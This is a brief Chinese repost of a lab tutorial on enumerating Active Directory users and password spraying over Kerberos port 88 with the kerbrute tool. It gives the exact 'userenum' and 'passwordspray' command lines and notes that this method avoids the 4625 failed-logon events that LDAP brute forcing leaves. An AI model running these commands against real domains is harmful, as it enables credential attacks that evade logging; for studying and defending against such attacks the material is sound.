Kerberos端口域用户枚举与密码喷洒 - 文章 - 开发者社区

使用ldap协议爆破会产生大量日志（4625），使用Kerberos pre-auth不会产生日志，且适合无域内主机权限下进行爆破

环境

域控环境：

hacktest.com 10.211.55.3

picture.image

域内主机或者非域内主机都可以：10.211.55.6

picture.image

域控Kerberos 88端口开启：

picture.image

工具准备

https://github.com/ropnop/kerbrute/releases

准备字典：111.txt

picture.image

用户枚举


        
            

          kerbrute\_windows\_amd64.exe userenum -d hacktest.com 111.txt

picture.image

密码喷洒


        
            

          kerbrute\_windows\_amd64.exe passwordspray -d hacktest.com 111.txt 密码

picture.image

工具还有其他很多功能，不一一探索了

picture.image

参考：https://www.cnblogs.com/backlion/p/13425035.html

       https://www.secshi.com/22082.html


        
            

          原文链接：https://blog.csdn.net/qq\_38376348/article/details/109062166?spm=1001.2101.3001.6650.3&utm\_medium=distribute.pc\_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.highlightwordscore&depth\_1-utm\_source=distribute.pc\_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.highlightwordscore

历史文章推荐：

查看更多精彩内容，还请关注 橘猫学安全 ：

每日坚持学习与分享，麻烦各位师傅文章底部给点个“ 再看 ”，感激不尽 picture.image